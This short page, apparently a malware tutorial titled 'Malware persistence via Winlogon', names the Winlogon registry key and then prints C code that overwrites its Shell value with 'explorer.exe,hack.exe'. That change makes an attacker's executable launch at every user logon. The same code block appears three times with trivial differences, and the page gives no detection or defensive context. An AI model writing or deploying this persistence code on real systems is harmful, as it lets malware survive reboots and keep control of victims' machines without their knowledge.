

Malware persistence via Winlogon

Registry path:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon

Winlogon is a critical component of the Windows subsystem that coordinates user authentication, initiates and terminates user sessions, manages secure attention sequences, and controls system startup, shutdown, and screen locking mechanisms.

Code:

```
#include <windows.h>
#include <string.h>

int main(int argc, char* argv[]) {
    HKEY hkey = NULL;

    // shell
    const char* sh = "explorer.exe,hack.exe";

    // startup
    LONG res = RegOpenKeyEx(HKEY_LOCAL_MACHINE, (LPCSTR)"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", 0, KEY_WRITE, &hkey);

    if (res == ERROR_SUCCESS) {

        // create new registry key
        RegSetValueEx(hkey, (LPCSTR)"Shell", 0, REG_SZ, (unsigned char*)sh, strlen(sh));
        RegCloseKey(hkey);
    }

    return 0;
}
```

Code:

```
#include <windows.h>
#include <string.h>

int main(int argc, char* argv[]) {
    HKEY hkey = NULL;

    // shell
    const char* sh = "explorer.exe,hack.exe";

    // startup
    LONG res = RegOpenKeyEx(HKEY_LOCAL_MACHINE, (LPCSTR)"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", 0, KEY_WRITE, &hkey);

    if (res == ERROR_SUCCESS) {
        // create new registry key

        RegSetValueEx(hkey, (LPCSTR)"Shell", 0, REG_SZ, (unsigned char*)sh, strlen(sh));
        RegCloseKey(hkey);
    }

    return 0;
}
```

Code:

```
#include <windows.h>
#include <string.h>

int main(int argc, char* argv[]) {
    HKEY hkey = NULL;

    // shell
    const char* sh = "explorer.exe,hack.exe";

    // startup
    LONG res = RegOpenKeyEx(HKEY_LOCAL_MACHINE, (LPCSTR)"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", 0, KEY_WRITE, &hkey);

    if (res == ERROR_SUCCESS) {
        // create new registry key
        RegSetValueEx(hkey, (LPCSTR)"Shell", 0, REG_SZ, (unsigned char*)sh, strlen(sh));
        RegCloseKey(hkey);
    }

    return 0;
}
```
